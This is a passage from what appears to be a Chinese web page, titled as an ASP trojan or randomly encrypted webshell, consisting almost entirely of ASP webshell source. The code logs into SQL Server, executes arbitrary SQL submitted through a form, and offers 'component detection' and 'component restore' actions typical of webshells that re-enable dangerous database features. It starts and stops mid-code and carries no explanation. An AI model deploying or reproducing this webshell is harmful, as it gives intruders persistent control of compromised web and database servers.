asp木马代码解密的随机加密webshell

2019-04-01 16:06:22王冬梅

END IF
ELSE
RESPONSE.WRITE "<SCRIPT>ALERT('操作超时,重新登陆!')</SCRIPT>"
RESPONSE.WRITE "<CENTER><A HREF="&REQUEST.SERVERVARIABLES("URL")&"?SQLAAA=LOGOUT>< FONT COLOR=BLACK>登陆超时</FONT>"
RESPONSE.END
END IF

ELSEIF REQUEST("SQLAAA")="SQL" THEN
IF SESSION("LOGIN")<>"" THEN
IF REQUEST.FORM("SQL")<>"" THEN
SET ADOCONN=SERVER.CreateOBJECT("ADODB.CONNECTION")
ADOCONN.OPEN "PROVIDER=SQLOLEDB.1;DATA SOURCE=" & SESSION("SERVER") & "," & SESSION("PORT") & ";PASSWORD=" & SESSION("PASS") & ";UID=" & SESSION("NAME")
STRQUERY=REQUEST.FORM("SQL")
SET RECRESULT = ADOCONN.EXECUTE(STRQUERY)
IF NOT RECRESULT.EOF THEN
DO WHILE NOT RECRESULT.EOF
STRRESULT = STRRESULT & CHR(13) & RECRESULT(0)
RECRESULT.MOVENEXT
LOOP
END IF
SET RECRESULT = NOTHING
RESPONSE.WRITE "<TEXTAREA ROWS=10 COLS=50>"
RESPONSE.WRITE "执行SQL语句:"
RESPONSE.WRITE REQUEST.FORM("SQL")
RESPONSE.WRITE STRRESULT
RESPONSE.WRITE "</TEXTAREA>"
END IF
ELSE
RESPONSE.WRITE "<SCRIPT>ALERT('操作超时,重新登陆!')</SCRIPT>"
RESPONSE.WRITE "<CENTER><A HREF="&REQUEST.SERVERVARIABLES("URL")&"?SQLAAA=LOGOUT>< FONT COLOR=BLACK>登陆超时</FONT>"
RESPONSE.END
END IF

ELSEIF REQUEST("SQLAAA")="LOGOUT" THEN
SET ADOCONN=NOTHING
SESSION("LOGIN")=""
SESSION("NAME")=""
SESSION("PASS")=""
SESSION("SERVER")=""
SESSION("PORT")=""
SESSION("SYSTEM")=""
SESSION("PRI")=""
END IF
IF SESSION("LOGIN")="" THEN
RESPONSE.WRITE "<FORM NAME=FORM METHOD=POST SQLAAA="&REQUEST.SERVERVARIABLES("URL")&">"
RESPONSE.WRITE "<P>SQL用户名:"
RESPONSE.WRITE "<INPUT NAME=NAME TYPE=TEXT ID=NAME VALUE="&SESSION("NAME")&">"
RESPONSE.WRITE " SQL密码:"
RESPONSE.WRITE "<INPUT NAME=PASS TYPE=PASSWORD ID=PASS VALUE="&SESSION("PASS")&">"
RESPONSE.WRITE "<P>SQL服务器:"
RESPONSE.WRITE "<INPUT NAME=PORT TYPE=TEXT ID=SERVER VALUE=127.0.0.1>"
RESPONSE.WRITE " SQL端口:"
RESPONSE.WRITE "<INPUT NAME=PORT TYPE=TEXT ID=PORT VALUE=1433>"
RESPONSE.WRITE " <INPUT NAME=SQLAAA TYPE=SUBMIT VALUE=LOGIN>"
RESPONSE.WRITE "</FORM>"

ELSE RESPONSE.WRITE "<FORM NAME=FORM METHOD=POST SQLAAA="&REQUEST.SERVERVARIABLES("URL")&">"
RESPONSE.WRITE "<P>组件检测:"
RESPONSE.WRITE " <INPUT NAME=SQLAAA TYPE=HIDDEN VALUE=TEST>"
RESPONSE.WRITE " <INPUT TYPE=SUBMIT VALUE=检测组件>"
RESPONSE.WRITE "</FORM>"

RESPONSE.WRITE "<FORM NAME=FORM METHOD=POST SQLAAA="&REQUEST.SERVERVARIABLES("URL")&">"
RESPONSE.WRITE "<P>组件恢复:"
RESPONSE.WRITE " <INPUT NAME=SQLAAA TYPE=HIDDEN VALUE=RESUME>"
RESPONSE.WRITE " <INPUT TYPE=SUBMIT VALUE=恢复组件>"
RESPONSE.WRITE "</FORM>"

RESPONSE.WRITE "<FORM NAME=FORM METHOD=POST SQLAAA="&REQUEST.SERVERVARIABLES("URL")&">"